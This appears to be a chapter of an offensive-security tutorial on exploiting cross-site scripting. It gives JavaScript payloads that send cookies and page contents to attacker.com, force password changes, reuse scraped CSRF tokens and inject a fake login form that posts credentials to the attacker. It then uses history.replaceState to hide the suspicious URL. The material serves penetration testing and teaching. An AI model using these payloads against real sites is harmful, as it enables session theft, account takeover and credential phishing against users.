Exploitation

Making an alert() pop up is cool, but to show the impact it might be necessary to exploit what an XSS or JavaScript execution gives you. The summary is that you can do almost everything a user can do themselves, but do this for them. You can click buttons, request pages, post data, etc. which open up a large field of impact, depending on what an application lets the user do.

From another site

The Cross-Site in XSS means that it should be exploitable from another malicious site, which can then perform actions on the victim's behalf on the target site. It is always a good idea to test exploits locally first with a simple web server like php -S 0.0.0.0:8000, and when you need to exploit something remotely it can be hosted temporarily with a tool like ngrok, or permanently with a web server of your own.

The easiest is Reflected XSS, which should trigger when a specific URL is triggered. If someone visits your page, you can simply redirect them to the malicious URL with any payload to trigger the XSS:

<script>
    location = "https://target.com/endpoint?xss=<style onload=alert()>"
</script>

Note that URL Encoding might be needed on parameters to make sure special characters are not part of the URL, or to simply obfuscate the payload

For Stored XSS, a more likely scenario might be someone else stumbling upon the payload by using the site normally, but if the location is known by the attacker they can also redirect a victim to it in the same way as Reflected XSS as shown above.

Some exploits require more complex interaction between the attacker and the target site, like <iframe>'ing (only if Content Security Policy (CSP) and X-Frame-Options allows) or opening windows (only when handling user interaction like pressing a button with onclick=).

Stealing Cookies

In the early days of XSS, this was often the target vector for exploitation, as session cookies could be stolen and exfiltrated to an attacker to later impersonate them on demand. This is done with the document.cookie variable that contains all cookies as a string. Then using fetch() a request containing this data can be made to the attacker's server to read remotely:

fetch("http://attacker.com/leak?cookie=" + document.cookie)

Pretty often, however, modern frameworks will set the httpOnly flag on cookies which means they will not be available for JavaScript, only when making HTTP requests. This document.cookie variable will simply not contain the cookie that the flag is on, meaning it cannot be exfiltrated directly. But the possibilities do not end here, as you can still make requests using the cookies from within JavaScript, just not directly read them.

In very restricted scenarios you might not be able to make an outbound connection due to the connect-src Content Security Policy (CSP) directive. See that chapter for ideas on how to still exfiltrate data

Forcing requests - fetch()

When making a fetch() request to the same domain you are on, cookies are included, even if httpOnly is set. This opens up many possibilities by requesting data and performing actions on the application. When making a request, the response is also readable because of the Same-Origin Policy, as we are on the same site as the request is going to.

One idea to still steal cookies would be to request a page that responds with the cookie information in some way, like a debug or error page. You can then request this via JavaScript fetch() and exfiltrate the response:

fetch("http://target.com/debug")  // Perform request
    .then(res => res.text())      // Read response as text
    .then(res => fetch("http://attacker.com/leak?" + res));

Logs of attacker.com:

"GET /leak?session=... HTTP/1.1" 404 -

Tip: For more complex data, you can use btoa(res) to Base64 encode the data which makes sure no special characters are included, which you can later decode

A more common way of exploitation is by requesting personal data from a settings page or API route, which works in a very similar way as shown above.

Performing actions

Performing actions on the victim's behalf can is also common and can result in a high impact, depending on their capabilities. These are often done using POST requests and may contain extra data or special headers. Luckily, fetch() allows us to do all that and more! Its second argument contains options with keys like method:, headers:, and body: just to name a few:

fetch("http://target.com/api/change_password", {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "X-Custom-Header": "anything"
    },
    body: JSON.stringify({
        "password": "hacked",
        "confirm_password": "hacked"
    })
})

HTTP Request:

POST /api/change_password HTTP/1.1
Host: target.com
Cookie: session=...
X-Custom-Header: anything
Content-Type: application/json
Content-Length: 49

{"password":"hacked","confirm_password":"hacked"}

doDue to fetch() only being a simple function call, you can create a very complex sequence of actions in JavaScript code to execute on the victim, as some actions require some setup. You could create an API token using one request, and then use it in the next to perform some API call. Or a more common example is fetching a CSRF token from some form, and then using that token to POST data if it is protected in that way. As you can see, CSRF tokens do not protect against XSS:

fetch("http://target.com/login")  // Request to some form with CSRF token
    .then(res => res.text())
    .then(res => {
        // Extract CSRF token
        const csrf_token = res.match(/<input type="hidden" name="csrf_token" value="(.*)" \/>/)[1];
        // Build password reset form data
        const form = new FormData();
        form.append("csrf_token", csrf_token);
        form.append("password", "hacked");
        form.append("confirm_password", "hacked");

        // Perform another request with leaked token
        fetch("http://target.com/change_password", {
            method: "POST",
            body: form
        });
    });

Phishing (+ Password Managers)

XSS gives you complete control over the JavaScript execution on a page, meaning you can also control everything that is on the page, under the regular target's domain. This can create phishing pages indistinguishable from the real login page because the content can be controlled as well as the domain in the navigation bar. As shown inAlternative Impact, just using an <iframe> and a <style> tag you can take over the whole page with your own. One slight problem password managers will notice is the fact that the form itself is on another domain, meaning saved passwords will not automatically be filled or suggested.

If you instead use full JavaScript capabilities and overwrite the HTML on a page, you can create a form on the real domain that password managers will happily fill out and make the victim trust:

document.body.innerHTML = `
    <form action="http://attacker.com/leak" method="post">
        <input type="text" name="username"><br>
        <input type="password" name="password"><br>
        <input type="submit" value="Login">
    </form>
`

Since you are executing code on the same origin, you can even open windows to the same domain, and control their HTML content. With this, you could create a popup window showing the real domain in the address bar, with some login form or other data.

Masking a suspicious URL

A last tricky part is the URL shown in the address bar at the time of your XSS, which may make your URL like "http://target.com/endpoint?url=javascript:document.body.innerHTML=..." showing a login page very suspicious to people who check the URL. Luckily, the same origin policy comes to the rescue once again because using the History API we can overwrite the path of a URL. Not its origin, but its path. That means we can change the suspicious URL to something expected like "/login", making it way more believable:

history.replaceState(null, null, "/login");

Last updated